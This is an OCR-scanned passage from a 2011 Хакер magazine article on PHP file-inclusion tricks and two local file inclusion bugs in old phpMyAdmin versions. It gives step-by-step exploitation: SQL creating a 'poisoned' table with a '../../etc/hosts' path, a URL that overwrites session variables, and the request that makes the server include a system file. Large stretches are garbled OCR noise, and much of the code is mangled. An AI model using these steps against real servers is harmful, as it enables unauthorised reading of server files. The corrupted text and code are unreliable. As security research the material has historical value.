nолучает в качестве параметра имя класса или обьекта. К числутаких

функций также от носится и многострадальная unserialize(), nричем nользовательские данные nоnадают в эту функцию намного чаще, чем

в call_user _func() .

Однако здесь есть и некоторые ограничения . При десериализации

объекта название класс а проверяетс я на валидность, таким образом,

мы не сможем nротолкнуть в имени объекта что-то вроде << •. / .. / .. /etc/

passwd». Тем не менее у нас вполне nолучится проинклудить файл из того же каталога, где на ходится и наш скриnт.

Если учесть всё написанное выше по поводу функции set_include_ path(), то становится возможным инклудлюбых файлов из любой

директории.

Представим , что нужное нам веб-приложение содержит метод __

autoload, функцию set_include_path() и функцию unserialize():

ХАКЕР 10 / 153/2011

Тысяча и один инклуд

-. .., W.f..Jf iS1'D t'IIIJI! ,

•P l _ ... ~olo ... jPIU' S >• 5. 1.l)

ТЪ ~• tww:цo 11 t• t nt.e-CI t.o Ь. ... ~ ,.. • Mt• IIJt. UJPI-11~81.1 o10 tor _ • uwlo.c! IJ. lt I>OC.I>IDO • • " t • ' '"" '''"" anct 8\l ~olo.od_reol•r•r o ..,, ..,.:-CiriCЬ.IItll 18f\l ... t.IOJ188IIIh U.НII tor any l 8 tc r c•I110_818CO I IКd /l.

ep l_euto l o8<1 1J .,pllp811t ·

1/ php_epl . e ~IIP_rtжTIOII(8pl_•ut.olo8od )

a h•r ' 0' 11188. - , 0 111_"_, 'HI•. • • c• • 8'L.<i[ 8181 0 I O-.d_. ~ИNIO III ) 1 l nc.o i .. •.-.I•D,HI•.••r.e.len•B•L.<iC a .... o l o.d_e• t.• ,.. ,o,.._len),toulld • OJ c tu.r •oopy, •po•t , ' 110111

Описание <<НОВОЙ» инклуд-функции spl_autoloadll на сайте китайских хакеров 80vul.com

function __ autoload($class_name)

{ -include $class_name; } ___ _

set_include_path($path. PATH_SEPARATOR . get_include_path());

$cookie = unserialize($_(OOKIE[ 'auth' ]);

Далее снова предnоложим , что мы можем влиять на переменную

$path. Тогда , з адав $path равным <</etc/» и nо слав в кукахзначение

auth равным << 0:7:"hosts":e:{}», мы вnолне сможем проинклудить файл <</etc/hosts». Данный факт о nи сан не только в официальной до­кумента ции РНР, также некоторые nримеры можно найти и в о бсужде­

ния х на фору м е гdot . oгg !с сылку ищи в сноска х!. Говоря об __ autoload,

нельзя не упомянуть и о так называемы х SРL-функциях, например

sрl_аutоlоа~котораяимеетдовольнозабавнуюнедокументирован­

н ую возможность, описанную еще в 2009 г. на сайте китайских хакеров BOvul.com:

<?php spl_autoload(' info', ' .txt ' ); ?>

Данный сценарий вполнеуспешно выnолнит код из файла info.t xt.

IRTUAL:HAЯ РЕАЛЬНОСТ Еще одна РНР-функция, которая nозволяет<<nроинклудить» файл, это

v iгtualll . На самом деле она сильно отличается от вышеnеречисленных

конструкций , таккакееиспользование э квивалентно<!··#inсludе

virtual ... ··>в mod_include, то есть она всего лишь выполняет под­запросдрасhе. Используетсяданная функциядля n одключения СG I­

с криптов , shtml-фaйлoв и вообще всего , что можно обработать через

Apache . С РНР-файлами эта функция также работает вnолне сносно.

Если у нас на сервере есть воттакой с криnт :

<?phl) virtual(' info.php ' ); ?>-._ ______ _

.. . то nри обращении к этому скрипту в браузер попадет результат выnолнения файла nод названием info.php.

GOOGLECODESEARCH

Для nовышения своего левела ба го коnателя советую зайти на

google.com/codeseaгch , выбрать в качестве языкадля поиска lang:лphp$

и поискать в движкахописанные в статье опасные конструкции : set_ include_path(), _autoload, spl_autoload(), virtual() и unserialize().

071

Page 71: Хакер №10 (октябрь 2011)

взлом

11 ·

W l •c.ol ~081 ) 11 ~ltoley_..,:J о g ..,_..-•

. ::!-c:::.~ ... '!!.:~.ю~~~:-..::...'l~o«..-!.o"::t,LOZ.:",_,gь_ s;;;;;:oe'"yc~ .. ---..._.,,a-..ot"..,..,., ...... ,_.,,.. . .._.~-"'"' ' 2S·S)-&.IAII~..,_ • .,,e.-o:;-.-4t11'4Soo.ro:•-'''""''~ttr " I.6563!Тiys-o / illod.........,~ ... ,.,·~-К63310r1tм ...,..,.,,.....,~i"""" · 1 •эc.-•,.-....... -.-·~-·8'e-s..o.yo~~tN.,..-...o,.>...." .. ,_,".,,,.,м..,p.,...-............,.м~-.. tolld':U.n.Sк ... ShoiDн ...... ~y"...,_.,._.....,..P .• 25:2!i:S..._.s.ьm.. ..... u..r"*"•~....,....Ju<rh~.......,..xa~o.wv...~ ..... /lnJio..." "'""'"'- ":53:S38n1Sondl>t'lrlloo<lo.............,,..,.r·.Q6:'Pк~ocf,. .. ,._",.,_,.,,.,..,..~~~~..J*td ' ~:6ol~,_..,-~,-""':'i<I""''' ....... *' ' Иfi1Sdr"p ,...".,,._.""''IJ~--'-IS6661JUCP~o•Joodopoolд.oocpj;ll.t.loc:Nul\oc_...,к/uoc,.,....,..,., .• 68.6.Pott01koo-t.--mttfllll.todt~-·,ID_IЭQWO'IIWodtWM o..м.-.,,,..,._ ............ _"" . .fМЭ,I~~QМUft1."->Ьit~<I .. 'TIXI1.0Uиrlo.-..ra .. .-~,~..,oql-'811.811111j-SQ..~-•it1ttltJ~

=.:-,::с~:'-~'7с::==~оо:~~~~=~~-~~"":9';--~~~~~~·~~~..:;::.·~в::..~ .. S\lpoNotl.hOOI-tl\d-' l l o--(J/...anytyOIOM(IoiO<MioO'hOOifUtl/tЬot\/JooiOtlnaptt11111t" L2 .6Sytl tm L I ..... -......,..IIIo\:" )"71!10цoiooC-...0Soщ8lfU4r/t~ ny ' I &БSllflySOIIdЬooJ.Л.~~oJntm'56!633~s..dDoo:lluod~t-- ' 71З.Goont op-:N"'-•""'~-:·e.t-Sua!Jti-.IJ\ftll~ ...."•ttloliall r.l onPotttм.'otiO<oi-·Л.odo............, o ol>d.''2222. So<: .. o ~OOI,__,,.,~..,.,_чo.' 25.21!5-.;ls.-....,uo .. .-o,.olldt~ANdl~ ........ ' .161EiS...._.Oof, .. IJifl_,....r~·Лжlo~-· SЭS.JIIilociS-~I.Amfo~"'"o'J'.6262.P"'kfl,illtrPff-\lllf~01.,.Aiottlo....",...,..,.}llo<rt'Ь. .&ol .... ,......._l<wlo .... r.'-lo.............,_hp.' ИI!I!i41o<,,..... __ ..",.1J\III/ ......... IIIiЦI'Ii61i6WCP,......,_uotrМdo,...,_~ 1\11111oc oi'IЬI•odwo:~l fi'OII . '615 .0Pa.,~o

===~~~~:=·=-";;~~...=::"-"'~~~·~~~-:;"":'~~.~-:~." --f'i1t.' IOO<IIIXXI.IU01W~ ............. -tl~-.lrlld~IIIIS-Iro51.11tll.-~lldJoi ...........

l:.~?""',..,o.ooкn.•.,.,•••OOO"'"' 1

• ( I-'"" (( .... ._...,..... (( PiiP-..". ) ( 06мoo""' l

I@Co<poщ•-•~-'-•lal'louJo"' fмo-••- Q~r)poo6.pom- 1 Q PUI .... J"''I ~OI-1 Qn..w ... III,.08ta.~.- '

~аn..-о ... '-< _ _.._, ,,...., нех,к,.о,..

• Т • .....".,...,_111 ...,.".tto\JMJO m..- or tollllltlal.o•...,r.o.,.м .. "... • ...._,.,., ,_, ,1 ... ....,. • ..._ ..... .,_,, ом.оlмо .--_о~.,,_..... с-• .... оо•

о .; х 1 ,.~., lll!p~···· "'ff -:\~~~ !!11.(17~03" 1 728 == t.._ Оо ........ ои / с..ю.. ..... -с-- / Х "

LFI в phpMyдdmin'e в файле sql.php

Также отмечу, что virtual и spl_autoload -это пользовательские

функции, тем самым их можно использовать в качестве callback'oв .

Например, viг tual можно вызватьдинамически следующим образом:

'

.s ~IШR-----·--·---.. ·-·--------·--.. -·- --------·-----· .... ·-·-.... --.. -----·-- ---

.$~Jl1-=-'. vir_tual' ; ___ ·········--- -·-····-·------.. --.. --................... . $path( 'myclass.php' );

?>

... или передать как параметр в call_user _func() :

5L .·-···-·-···--··------h~l_user _func( 'virtuaJ ', 'myclass. php' );

?>

EVAL==EVIL Еще одна важная конструкция, которая позволяет выполнить код из

указа нного файла, это eval(' ?>' . trim(file_get_contents(' info .t xt' ))). В nринципе, она даеттот же самый результат, что и использо­

вание include/гequiгe, но при этом существуют некоторы е нюансы.

Во-первых, она не оптимизируется акселераторами, тем сам ым при

очень частом исnользовании данной конструкции могут появиться

проблемы с быстродействием. Во-вторы х, на file_get_contents() в eval() не действует директива allow_url_include, тем самым, если allow_url_fopen = On [данная опция по дефолту имеет именнотакое

значение), мы вполне сможем nодключить удаленный файл.

Кстати, именно этот простой факт и дает возможность так просто

добитьс я выполнения кода в известном эксплойте << phpMyAdmin <= 2.1 1.9 unserialize() arbltrary РНР code execution exploit >> [ Ьit . ly/qW94f9 ) .

Ра зработчики phpMyAdmin 'a после выхода данной уязвимости в

паблик убрали из кода своего движка только лишь опас ную функцию

unserialize(), оставив при этом не менее оnасный метод load в классе PMA_Con fig без изменений. Причина этого непотребства кроется в

следующем куске кода из метода load:

$.eval_resul '~;__..=______ ---····--·····--·---·-··------­

eval( ' ?>' . trim(imj:)lode(.':.\n", file($.this->gtl$.ourc~()))))~----------

if ($eval_result === false) _____ $this->error _config_file = true;_

.й~-------.............................................................................. ··------------- .. ·--.. --·-·-.. -·-----__ {. ____ " _______ .... _,_ .................... _",_"_ ....... - ...... - ..... - ... --.... ·------.... - ..... ,_ .. ,_, __ "_" ___ _

072

·~-

_$.this- >-errQ.C_~_onfig file - false;_ ___________ _

_ $.t_his->sg_u_r_~_mtimg = fiJ.emt.:lm~.CH .. hi .. ~>-gg:!;$.QJJ_r_<;g_{).).;

_ }

Дан·ный коддает возможность корректной обработки ошибки

парси нга конфига [написанном на РНР) в случае его нессторожной

модификации кем-либо.

То есть если конфиг движка будет содержать ошибки, то на экран

выведется красиво оформленное сооб щение вида <<phpMyAdmin was unaЬle to read your configuration file! » вместо << Parse error»,

которое бы появилось при использовании in clu de'a.

HPMYADMIN Теперь , после того как ты намотал всё вышеописанное на ус, давай

nродолжим начатую в прошлом номере журнала тему потрошения

phpM yAdmi n'a . Как ты уже помнишь, в июле этого года в phpMyAdmin 'e нашли целую плеяду багов, а также несписанные в Н два довольно

интересных инклуда. В паблике на момент написания статьи инфор­

мации о ни х на ходилосьдовольно мало, приводились лишь куски уяз­

вимого кода, что, конечно, не раскрывает всей сути этих уязвимостей,

по этому давай рассмотрим и х поближе.

Итак , первым по списку идет локальный инклуд в файле ./

libraries/d isplay _tЬl.lib.php. Уязвимы все версии phpMyAdmin'a вплоть до 3.3.1 0.1 включительно и до 3.4.3 включительно .

Информацию об этом инклуде можно найти на официальном сайте

движка в разделе Secuгity IPMASA-2011-8) .

Прочитав a d v isoгy, давай взглянем на патч, предлагаемый разработ­

чиками для ветки 3.3.х [вообще следить за патчами разработчиков

всегда довольно интересно, так как там всегда можно найти десятки

малоизвестных и уже пофиксенных зеродеев).

Сам патч выглядитпримерно так:

,L).j,J!.r11.r::ie~l!:t~iR.:I..<~y_tQJ._,:J,:i,!! ,RhiL(PllRМYAd.miD_3.,,3 .lQ) ______ _ Jf ($GLOBALS[ ' cfg8~:J.atiO_Гl] ['.m.:im.gWQГ..is] ________ _

&& $GLOBALS[ 'cfg' ][ 'BrowseMIME' ]) { if (isset($GLOBALS[ 'mime_map ' ][$meta->name][ 'mimetype' ]) ) {

:H_f1~1.цgg_ij,:J,g_:'_ $(J_lQ~.8lS.Cm:\ . .r!l_g_ПJAP 'J[$.mg:t:A.:2DiJ.!Il_g] _______ _ __ [:tпшforJn<!:t:!oD..'.1_______ ______________ _ __________ _ _ ±i:iщ:Jude fi.le = Pм.A_iecш_gJ'_a.t:.Ь..($GLQ!'!дL$[mJm_g_mщ:э. :J[$m.gta-> OEm!:!]_

[' traпsformatioo 'J);

-·""•-•"' \ji""""'!>ortuowu "" CI

Autolo•dinv Cl•••••

-.. dw~ •rnln9o0Je<!-<~<1lf'lted ~IIOnf t;n•tt anti'НPIIOU'ot No r--dиt <kflмlon. on. or u-o.~t.....,..~...cn tS 1'1.1~ to

......... -...... . • wnt~ ~ 1ot>Q "' ot "«Oed lndo.IOe$ •t ~ ~ornno of tiO'I ~~ (orw: for tW'I dns).

Jni'НPS,Ihis~no~nкtп.-y . YouiNVCМI'nt..-._O<Jtolol(ll'l..nl;t\Onwhkh~ .... -~yцltcii'I(.IISI'f(IUirf\J'o'W'9ШUSfl =:,s~=..(-..tw;htцosn'tt>«nckr..edver.ev~tl'li:sf\пctiQntheseф~fflQitlalsototnllastcNnc.ttokжlthedasЬt~PНP f/lls

- ~~-·-· • OI>JO<I1--

~ ~;~o.--o OI>,..,I......,..,.. . ,.~ ........... • oe,. .. n.r-·-­...... ~ .. -~ • otolo<I:C-._ o C-М'<'\10./0(tl

• Т•"­' """"--. . оо,. .................. . o OII;.<Ihnolo<­• OOf'C~ ........ ,

PnortoS. 3 .0,txcepliorlstt-n:.wnl'ltht_.utolo«<~<»uudr>OtЬtC11141t .,lhe i:AUll block.-.:lwoulcl~l'lthlt.lltm11". 1'rem S.3 .0+ txoeQUQt\S tl'lro:>•l'l n U'W:_~ ~<:«1 Ье t81..'Qf\tn lhe WJ.St1 Ыоdс, WRh 1 Of<IYISIМ, lf tl'lro:>llnQ 1 OJStorntXQPtiOn. I1WI the WStOII'It1<«Pt\Ofldll'i mustЬ.tVIiLitJk- Тht _ ... 1~ ~ IП-/IV Ье \l'l~fto.n!Vtl-; 10-..~ tht QJStornUCtj)t\OfldiiИ •

lfo:hedlnl\an\e~ut~t-Q.n~o:t\ef'lltCIO'\COI'I~SOtl'le~CI'III'O<:terSI>.IOIИ ./. I tit r~t9notusttr.t USotf-r(>Utoni>.IOIIUncl:lornio.-ltlt~ l 'l'tflll/tht.,...tlrl _ _.tOioad( ) .

,, .. fur>«ior~ _..to1wd(, c1•t•....-) (

; ...._tudo; k1иo..n- . '. php ' ;

loЬj • мw 1+,<1*>s 1();

~оЬj2 • мw ll)<1 .. o2();

Описание магического метода __ autoload на сайте php.net

ХАКЕР 10/153/2011

Page 72: Хакер №10 (октябрь 2011)

Тысяча и один инклуд

'> phpMyAdmin - Mozilla Firefox ~-:'~[Х

( _ ht!p :/• rn:Zi'IPIP/p~дdmh,/server _sql .pl-p?IDken=ЮJ5909lade746777SбdбЬ17deЗ2cЬd9 <:J -11-tf · Goo9le

tвJ самые гюпу~ D начапьна_я страwца • Лента новостей

0 01'1<11Ючить • .1. Coakles • / оu.ибок css нет· ~ Формы· 1:.!!1 Графика· О~· ~ Раэное • Jfl Контуры· 1!!11 Размеры· );: жструменты • ~ КОА • 1iJ настройt<и •

m localhost

@! Ба>ы .о.анных .{J SQL О Состояние {j) Переменные IИJКо.о.мровхи i!Тиnы таблиц llаПроцессы Gj11 Эксnорт G!j'! Mмnopт i~t~ Синхрони>ироваn.

Выполнить SQL.>anpoc(ы) на сервере 1ocalhost": ф ------------------------------------------.,

CU.Atl TAВLJ ' test ' . ' paatest ' ( ' colwm naae ' IHT NOT JIULL , ' aiaetype' IllT НОТ WLL , ' transtoraation· ТIХТ НОТ NULL , ' tran.stora•tion_options ' INT НОТ WLL • ' dh_naae ' TIXT НОТ JlULL , ' tahle_naae · TIXT JlOT НULL ) -INCINI • !IYISAК ;

{ Разделитель О} 0 Покаэать данный заnрос снова

Создание «ядовитой>> таблицы в phpMyAdmin

reguire_once ' .Ll ibraries/ transfor mat i ons/ ' . $include_file; __ _

Из приведенного выше кода становится ясно, что для реализации

данного локального инклуда необходимы следующие условия:

1. $GLOBALS[ 'cf g' ][ ' BrowseMIME ' ] == true. Сразу скажу, чтоэтоусло­вие обычно будет выполнено, так как в файле ./libraries/config . default.php указанная переменная по умолчанию выставлена в tгue. Влиять на эту переменную мы не можем . Если ад мин сменил ее

значение в config.d efault. php, и н клуд получить уже не удастся .

2. Должны бытьопределены массивы $GLOBALS[ 'cfgRelation'] и $GLOBALS[ 'mi me_map' ]. Массив $cfgRelation играет довольно важн~ю gоль во всехуязвимостях, о которых пойдет речь, поэтому я

подробно опишу, каким же образом он формируется.

Итак, данный массив задается функцией PMA_getRelationsParam(), которая, в свою очередь, определяется в файле ./libraries/relation . lib.php:

function PMA_getRelationsParam(.$verbose = false) {_ _____ _

if(empty ($_SESSION[ ' relation' ] [$GLOBALS[ ' server ' ]] )) {

$_SESSION[ ' relation' ] [$GLOBALS[ ' server ' ]] =

___ PMд __ getRelationsParam()_;, _________ _ _ } __________________________________ __ _ $GLOBALS[ 'cfgRelation' L=_$_SESSION[ ' relation' [.$GLOBALS[ 'server' ]1;_

return $_SESSION[ ' relation ' ] [$GLOBALS[ 'server' ] ]; } ___________________________ ___

Если в массиве $_SESSION не задан элемент relation[$GLOBALS [ 'server' ]] , то он задается посредством функции РМА __

getRelationsParam. Если же этотэлемент зада н , то он просто

возвращается. Функция PMA __ getRelationsParam определяет массив$сfgRеlаtiоn,руководствуясьзначениемпеременной

$cfg[ 'Server s' ] [$i] [ 'pmadb ' ]. Если значение этой переменной не задано, то все элементы

массива $cfgRelation будутиметьзначения false или null. Если же переменная $cfg[ 'Servers' ][$i][ 'pmadb ' ] определена и доступна соответствующая база данных, то массив $cfgRelation опреде­ляется в соответствии с этой базой данны х. Таким образом, если

мы хотим занести в массив $GLOBALS[ 'cfgRelation' ] нужные нам значения, у нас должна быть возможность перезаписи переменных

ХАКЕР 10 /153/201 1

tJ

в массиве $_SESSION или должен бытьдоступ к базе данных под на­званием << phpmyadmin>> (вообще эта база данных может называться и по-другому, так как ее название определяется конфигурационной

переменной движка $cfg[ 'Servers' ][$i] [ 'pmadb' ]). Важноотметит~чтоужеизвестнаятебе перезаписьпеременны х

ма ссива $_SESSION в функции parse_str(), обнаруженная Mango, имеет место в тех же версиях phpMyAdmin'a, что и рассматриваемый инклуд. Таким образом в $cfgRelation мы слегкостью можем запи ­

сать нужные нам данные.

Единственное, что еще нужно знать, это значение переменной

$GLOBALS[ 'server ' ]. Этапеременная определяет, с каким сервером базы данных мы будетсоединяться. Обычно phpMyAdmin соединяется с единственным сервером, и значение этой переменной будет равно 1.

В коде движка предусмотрены различные варианты работы со мно­

гими серверами, поэтому, чтобы точно знатьзначениеэтой перемен ной ,

намдостаточно взглянуть на кукисы, выставленные нам phpMyAdmiп'oм:

'pmaUser - ' . $GLOBALS[ 'server ' ] и ' pmaPass- ' . $GLOBALS[ 'server' ]. Идем дальше .

Массив $GLOBALS[ 'mime_map '] задается с помощью функции РМА_ getMIME():

./librarie~/transformations.lib.php _______ _ function PMA_getMIME($db, $tаЫе, $strict = false) {

~~Qm_qry~-~---------------------------------------SELECT ·column .un~am~e~-4------------------­

. mimetype~'----'transformatioп· ,

' transformation_options· FROM ' . PMA_backquote($_cfgRelatj_on['db'])'--'------' , ' • РМА backguote_($J;fgRelation['column info'].),~-----

WHERE . db name· = :--.· ' • PMA_~lдddslashe_~$db~_· __ _ __ANQ_J:~Q_J,g_l'@!lle· = :--.'.:_,_Et:1l\_~glд!:IQ_~l_a:;_l}es($taЫe) _~_.:..\: _______ _

AND ( ' mimet)'pe' != \' \ " . (!$strict ? ' ___ _ OR ' tra nsformation· != \ '\' _____ _ OR ' tra~formation_options· != \ '\" : " ) . ' ) ' ; __

return РМА DBI fetch result(.$com_gl"y, 'column name', ____ _ nuЦ,_$GLOBALS[ ' controllink' ])_; ____________ _

}~------------------------------------

Если мы хотим, чтобы массив $GLOBALS[ 'mime_map' ] содержал нужные нам данные, мы должны создать свою произвольнуютаблицу в

БД . Если эта возможность у нас есть, то локальный инклуд вполне воз­

можен . Теперь самое время выяснить, как и когда вызывается функция

PMA_displayTaЬleBody.

073

Page 73: Хакер №10 (октябрь 2011)

взлом

: Srr"'St: vc/rt~/М11t.r . ,nllllll , • 1. 411 21•111/N 21: tt :H ..,. ... , u, S

rнt : • : I: 8:C.Witt t. : /rнt :/111/Cf~ t-: •:1:1:'-''""''11'1• s.,...н.,. :/rнt : /loill tc•• •-:• : 1:1 :...,. t f ...., .,.t .. ,.-кнsн :/rнt:/nr/ИIII/нl.,t • .,...ltff : • : 2 : S:SJ1tfiii, : / :/Mr/ИIII/ .. 10flt t 111 : • : 1 : 7 : 1i..,.tн с--.- s-ct : / :/nrlltl•lмl8flll HJ : • : II:KS II: ItJIIIIINI :/:/нrJHII/M18fll ti-:•:I :ISSn :IIIII111811Ael :/:/nr/ ltlll/ 118l.,tl .-:•:r:ta :o- ,, , ........ ,. : '"''"'•-• = '..,'"I.IIJмt111 t • -:• :I:I ; ..,.,. Sifhptttt:/:/IКI'/ Itiii/MlOfll

=;;~~; :~~~ .. ":" .:.~~=~~:-.:~:::~~~~z~~~~;:r~ .. s-.. : • :2S : 2S:StiiiiN11 Slllolltt t lfll ltнr : /t.W/ f,..1/tlif111t ... f'Н:/Hr/Яiii/HI .. I II .. illllll11 : • : 21 :21:1ffl ... l1ftfH1tiiii' : /IOff/f,..l/...-:llff'IIIIII/ IМ1'111• IJIМI : • :SI:,. :IIIНII.М.h : / :/Hr/llit/Mittill ,....., :• :., :12:,KIIft HHtr ,им.--:t-tl lttllt: / tt.r/ttlll/1111'11111 ..,rfliiJif : • : .. :•l:,fllfll".l"'" "'"' :/tllr/ l"ftJ :/ n r J •IIlii/MI .. lll _acr :• :H:H:acr ". ... -:/tiW/"'ftf : /иr/ .. 1Jt/иJ.-t1" :-r:• :H:H :WC, ,lf1Нfe-nw :/IИ/•,..1 1-"Wi lc :/nr/1KI111illr•tcJ-rlwclc

,., : • : 61 : ' :""t tfflct...,. :/-n l•tнt :/llr /IIII•Jи1 .. 111 - : • :11:11:•1• lli., v.to lwlr :l-li •t••t:/..,/ 1111•/иl .. l ll ......, : • : 6ffi-' :Hf:NI : ..".I•IIIf1• 811r : /-•lltHt : /нr/ .. III/ Hlltjllt •t•ff : • : 1181 : 1: 1Мf' &:/lleМ/Itlff :/11111/tc 511

::r~;:~=~:; ~~=~~.;~~~~~~~~~:~~~~:.. ....S• : • : t .. : l ::/•н-1-/U!dii : /)111/JII %1fll : • :t• : tlll:•lflri .... :/8Н0/~1811 :/Hr/IK11/III IIIIII'III t"t : • : 1Nt:1111; .... t l0t :/Hr/~.,.t :/IНO/IKIIJII1JtJIIИII llкkН : • :tM :tM :IItr • :.nм-/tlKIII.:/IIII II/Hllf11

56

lttht ctut JWnt 1t uнd e.g. 8n cll_uнr_tunco then 1t см contМisome d8ngerous ch8r8cttrtsuch n J.lt 1t recommended to not ute lhe Ltttr~ ln such funcdonl or • ttatt v8f1f'y tht ~ tn _autoJoad().

57 Которое cr.wt8ЧIIIТ, ЧТО 8CIW4 МW МО*еМ 811ММЬ Nl nap8М8fPW фумlщММ ~)( ICIUICCIММ, ТО СТIНОSМ1ЪСJI 58 8<пМ011МWМ У'Q8ММ0С'П11 ТИМ L,...,L

~ F;;~;;;;;~;~.~~--~·-~~~IIIWd

64 t~~-uиr_rvnc(array(".J.J.J• tclpasswd'CJ-,"tesr)) ; 65 ?>

Инклуд через __ autoload

После небольшага поиска п о коду становится яс н о, что самый удоб­

ный для нас вызов этой фун к ци и происходит в файле sql.php:

~тQ!j>айл с нужными нам ф)'!!IS_Ц"'и!lя"'м,.._и ________ _ reguire опсе '. / libraries/disRlay_tЫ.lib.P-hp_'; ______ _

/Lесли задана БД, то создается важный для нас мас сив $cfgRelatioп

if (strleп($db)) { require_oпce ' . / libraries/relatioп.lib . php' ; _$cf_gRelatioп = PMA_getRelatioпsParam(); _________ _

!'!'l!\_displayTaЬle($result,_$disp_mode, $aпalyzed_sql);

Функция PMA_displayTaЬle задана в файле ./libraries/ display _ tЫ.lib.php, не буду приводить здесь е е код , с кажу лишь, что здесь же

вызывается функция PMA_displayTaЬleHeaders, в кото рой и формиру­

ется нужный нам массив $GLOBALS[ 'mime_map' ] .

Из вышеперечисленного следует, что для выполнения л окал ьного

инклуда мы должны произвести следующи е действия:

1. Авторизоваться в phpMyAdmin'e и создать две таблицы в доступ­ной нам базе данных.

Первую таблицу мы буде м выводить, обращаяс ь к sql .php и вызы­вая тем самым нужные нам функции :

CREATE TABLE 'test' .' iпteger' ( '1' INT NOT NULL ) ENGINE = MYISA!i_; INSERT INTO 'test' .' iпteg~(_'l'_j VALUES ( '1' ); ____ _

Втораятаблицанужнанамдлясозданиякорректногомассива

$GLOBALS[ 'mime_map' ] :

CREA]J TABLE 'test '.' pmatest' ( 'columп_пame' INT NOT NULL , 'mimetype' INT NOT NI.J_IJ,_, 'traпsformatioп' ТЕХТ NOT_NU_LL_, __ _ ' traпsformatioп ORtions' INT NOT NULL, 'db паmе ' ТЕХТ NOT NULL,_ 'taЬle паmе' ТЕХТ NOT NULL) ENGINE = MYISAM ; _______ _ INSERT INTO 'test' .' gmatest' (' columп пате' . 'mimetY.p".,e._'._, ___ _ 'traпsformatioп ', 'traпs_tormatioп_optioпs ' , 'db_пame ',

'tаЫе_паmе' ) VAIJ)ES (' 1', -'.1'_, ' .. / .. / .. / .. / .. / .. / .. / .. /etc/дosts ' ,

'1' , ' test ', 'iпteger' );

В поле traпsformatioп м ы должны указать путь до локального

файла, в поле db_пame - имя той базы данных , которой пр инадлежит

первая таблица , в поле taЬle_пame -имя первой таблицы.

Наличие в базе данных та кой таблицы позволит фун кции

PMA_getM lM Е вернут ь нужный нам массив $GLOBALS[ 'mime_map' ] . 2. Переопределить$_SЕSSIОN[ 'relation' ] и тем самым сформиро­вать нужный нам массив $cfgRelation.

Это можно сделатьдовольно просто . Н е выходя из РМА, открываем новую вкладку в браузе р е и вбиваем

туда такую ссыл ку:

http: //phpMyAdmi пLiпdex. php?tokeп=<тeкyщий токен>

&sessioп_to_uпset=<*x*>&_SESSION[relatioп][1][commwork]=1

&_SESSION [ relatioп] [1] [ mimework] =1&_SESSION[ re lation] [1] [ d Ь] =test& _ SESSION [ relatioп] [1] [ column _iпfo] =pmatest

П одробнее о происходящей с помощью такого метода перезапис и

глобальных п еременны х читай в предыдущем номере жур нала.

З. Проинклудить локальный файл , перейдя по ссылке http:// phpMyAdmiп/sql.php ?db=test&taЬle=iпteger&tokeп= < тeкyщии токен >.

Если все прошл о нор мальн о, то чуть вы ш е табли цы iпtegeг появит­

ся содержимое файла /etc/hosts.

ВТОРОЙ ИНКЛУ Следующий классный инклуд, который мы рассмотрим , является

общим для всей 3.4 .х-ветки phpMyAdm i п ' a вплоть до версии 3.4.3.1 включительно . Снова заходим на официальный сайт движка и ищем

advisoгy под названием PMASA-2011-10. Опять смотрим на патч, пред­лагаемый разработчиком , и понимаем, что проблемным является

следующий код в файле sql.php:

$mime_map = PMA_getMIME($db, $taЬle);

foreach($mime_map as $traпsformation) { __ $iпc:LY.Qe_file = $j:_r_i!пsformatioп [ 'traпsformatioп' ]; __

if__(file_exists(~Дibraries/traпsformations/ ' . $iпclude_file))_L $traпsformfuпctioп_пame = str _replace(' . i п c .php ' , "

$traпsformatioп[ ' traпsformatioп ' ]);

require_oпce './lib raries/traп sformatioпs/ ' . $iпclude_file;

Чтобы добраться до это го кода, нам необходимо пройти следующие

проверки:

1. $GLOBALS[ ' is_ajax_request' ] == true . Л егко понять , что для удо ­

влетворения этого усл овия мы должны п ередать ск риптунепустой

параметр ajax_гequest.

2. е == $пum_rows 11 $is_affected. Туту нас два варианта: обра ­

щение к табли це без запи сей, или в н а шем обращении к с крипту

должен быть какой -л ибо sql-зaпpoc . П ервый вариант простой ,

второй немного сложнее (зкс плоит для второго варианта ищи в

сносках] .

Разобравшись с условиями, нам остается только вспомнить, что

функция PMA_getMIME нам уже встречалась выше и что для форми­рования нужного нам массива $mime_map мы должны иметь доступ к базе дан ны х phpmyadmiп или иметь возможность манипулирова­

ния злеме нтами массива $_SESSION. Прич ем доступ к базе данных phpmyadmiп нам необходим только в версии phpMyAdmiп 3.4.3.1, так как в более ранни х версиях существует возмож н ость перезаписи

глобальныхпеременных .

Итак, вот один из вариантов использования данного инклуда для

версии phpMyAdmiп 3.4.3: 1. Логинимея в phpMyAdmin и создаем нужную нам таблицу:

CREATE TABLE ' test ' .' pmatest ' ( 'columп_пame ' INT NOT NULL , 'mimetyge' INT NOT NULL , ' traпsformatioп' ТЕХТ NOT NULL , ' tra nsformatioп ORtioп s' INT NOT NULL_,__'_Q_Q_o_a mg_'_ЛXT NOT NULL,_ ' taЬle паmе' ТЕХТ NOJ NULL } __ ENGI]:J_E_=_f-1\(_ISI\M_;, ___ _

ХАКЕР 10/153/2011

Page 74: Хакер №10 (октябрь 2011)

Тысяча и один инклуд

·'> SourceForge- phpmyadmin/phpmyadmin/commitdiff- Mozilla Firefox [J@][R !Р.айл ()>авка i!ИА ЖУРнал :iao<naAIO< ~трументы ~

• С Х @ О ( ::: http://Pl:Jmyadmn.gitSO<rcefurge.net/git/gi\weЬ.cgl?p=l*!'myadmin/pl"!)myadmn;a=commi1dlff;h=5eeЗS7ae ~ '{} -1 ..,1 ~"1_-_Goog___,'--ie-------'P'-'1 "11 •

Самые nonynЯj:>Н>Ie D нача,.,...,. страно.ца >\ Лент а моеопей - -0 Откrю...,ть • .1. COokles • / оu.ибок CSS мет· ~ Формы· 1:!!1 Графика· О ИНфо • Q Раэное • /? Комтуры • iRJ РаЭМОJЬ!· )i: \IН:тр~ы • ~ КОА • JA] настройо.t •

1 ::: Sourceforge - phpmyadmin/ ph ... j + 1

Flxed filteriлg of а file path, which allowed for directory travenal, не РМАSА ...

author Herman van Rink <rink8inittouronl>

Thu, ЗО Jun 2011 18: 19:З2 +0000 (20: 19 +0200)

conrnitter Herman van Rink <r1nk8 inittour о nl>

Thu, ЗО Jun 201 1 18 : 19:З2 +0000 (20: 19 +0200)

ChanqeLoq P ch tЫоЬ lt!stщ

libraries/display_ tЬl o lib о php eaoh !ЫоЬ t tWstn

cliff --g1t а/~ b/CI!a!lgd.oq

index 73f0368 .. 72а94а3 100644 (file)

- -- a/ Change:Loo Н+ Ь/ChengeLoq

